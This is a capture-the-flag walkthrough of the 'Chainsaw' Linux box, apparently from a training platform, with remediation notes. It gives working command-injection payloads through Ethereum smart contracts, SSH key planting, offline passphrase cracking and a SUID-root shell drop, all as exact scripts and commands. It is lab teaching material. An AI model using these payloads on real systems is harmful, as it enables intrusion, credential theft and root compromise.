Chainsaw
Summary
Target chainsaw ($TARGET) is a Linux server built around a blockchain-as-infrastructure theme where two Ethereum smart contracts each contained an identical OS command injection flaw. Anonymous FTP exposed the Solidity source, compiled ABI, and deployed address of a 'WeaponizedPing' contract whose setDomain() function passed caller-supplied strings directly to a shell system call on the back-end Node.js service.
A web3.py script against the exposed Ethereum JSON-RPC endpoint on port 9810 delivered a command-injection payload and established a foothold as the 'administrator' account. A locally pinned IPFS object contained an encrypted RSA private key for user 'bobby'; the passphrase decrypted it, yielding lateral movement and the user flag.
Bobby's home directory held a SUID-root binary (ChainsawClub) communicating with a second, localhost-only Ganache node via a structurally identical vulnerable contract. Driving the binary's interactive prompt with an injected payload through a pexpect script ran arbitrary commands as root, dropped a SUID shell at /tmp/rootbash, and completed full host compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<hash>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Full TCP port scan to discover all listening services.
$ nmap -Pn -p- --min-rate 3000 -T4 $TARGET
21/tcp open ftp
22/tcp open ssh
9810/tcp openConfirm port 9810 is an Ethereum JSON-RPC node by calling a harmless read method.
$ curl -s -X POST -H 'Content-Type: application/json' --data '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}' http://$TARGET:9810/Exact commands 3
Mirror the entire FTP root without credentials.
$ wget -m ftp://anonymous:anonymous@$TARGET/Review Solidity source to locate the setDomain() function and its system() call.
$ cat WeaponizedPing.solNote the deployed contract address for use in the web3 exploit script.
$ cat address.txtFixDisable anonymous FTP and remove contract deployment artifacts from network-accessible storageCritical
Exact commands 4
Generate a throw-away SSH key pair for the injection payload.
$ ssh-keygen -t ed25519 -f ./id_attack -N ''Install the web3.py library in an isolated environment.
$ python3 -m venv venv && . venv/bin/activate && pip install 'web3==7.16.0'Call setDomain() with the injection payload. Replace the pubkey path if needed. No Ethereum funds are required: the local geth node uses unlocked accounts.
$ python3 - <<PYEOF
from web3 import Web3
import json
w3 = Web3(Web3.HTTPProvider("http://$TARGET:9810/"))
abi = json.load(open('WeaponizedPing.json'))['abi']
addr = open('address.txt').read().strip()
contract = w3.eth.contract(address=addr, abi=abi)
account = w3.eth.accounts[0]
pubkey = open('./id_attack.pub').read().strip()
payload = f'; mkdir -p /home/administrator/.ssh && echo "{pubkey}" >> /home/administrator/.ssh/authorized_keys ;'
tx = contract.functions.setDomain(payload).transact({'from': account})
w3.eth.wait_for_transaction_receipt(tx)
print('Delivered:', tx.hex())
PYEOFOpen an interactive SSH session as administrator once the key has been injected.
$ ssh -i ./id_attack -o StrictHostKeyChecking=no administrator@$TARGETFixEliminate OS command injection in the WeaponizedPing smart-contract back-end serviceCritical
Exact commands 3
From the administrator SSH session: list all content hashes pinned to the local IPFS node.
$ ipfs refs localDump every pinned object and inspect for key material or credentials.
$ for h in $(ipfs refs local); do echo "=== $h ==="; ipfs cat "$h"; echo; done 2>/dev/nullSave the identified RSA private key object. Replace <hash> with the hash returned in the previous step.
$ ipfs cat <hash> > bobby.key.encFixRemove sensitive key material from IPFS and enforce strong passphrases for all SSH keysHigh
Exact commands 4
Save the recovered key locally with correct permissions.
$ cp bobby.key.enc bobby_id_rsa && chmod 600 bobby_id_rsaOffline passphrase crack if not already known. <withheld> appears in rockyou.txt.
$ ssh2john bobby_id_rsa > bobby.hash && john bobby.hash --wordlist=/usr/share/wordlists/rockyou.txtStrip the passphrase in-place using the recovered value.
$ ssh-keygen -p -P "$PASSWORD" -N '' -f bobby_id_rsaAuthenticate as bobby and retrieve the user flag.
$ ssh -i bobby_id_rsa -o StrictHostKeyChecking=no bobby@$TARGET 'id; cat /home/bobby/user.txt'
uid=1000(bobby)Exact commands 3
From bobby's SSH session: enumerate all SUID binaries system-wide.
$ find / -perm -4000 -type f 2>/dev/nullPull the Solidity source to the attack machine for offline analysis of the vulnerable logic.
$ scp -i bobby_id_rsa bobby@$TARGET:/home/bobby/projects/ChainsawClub/ChainsawClub.sol ./Confirm the local Ganache node is listening on 127.0.0.1:63991 and is accessible from a local bobby session.
$ ssh -i bobby_id_rsa bobby@$TARGET 'ss -tlnp | grep 63991'FixRemove the SUID bit from ChainsawClub and eliminate the local contract command injectionCritical
Exact commands 4
Forward the localhost-only Ganache RPC port to the attack machine for scripted verification (optional: the exploit runs on-box).
$ ssh -f -N -L 63991:127.0.0.1:63991 -i bobby_id_rsa bobby@$TARGETRun via 'ssh -tt -i bobby_id_rsa bobby@$TARGET python3 exploit.py' (PTY required). The SUID binary passes the injected username into system() as root.
$ python3 - <<'PYEOF'
import pexpect
child = pexpect.spawn('/home/bobby/projects/ChainsawClub/ChainsawClub', timeout=30)
child.expect('Username:')
child.sendline('; cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash; #')
child.expect('Password:')
child.sendline('x')
child.expect(pexpect.EOF, timeout=10)
PYEOFFrom bobby's session: the SUID bit on the copy elevates effective UID to 0. Confirm with 'id'.
$ /tmp/rootbash -pRetrieve the root flag from the elevated shell.
$ cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 21/tcp | ftp |
| 22/tcp | ssh |
| 9810/tcp | unknown |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.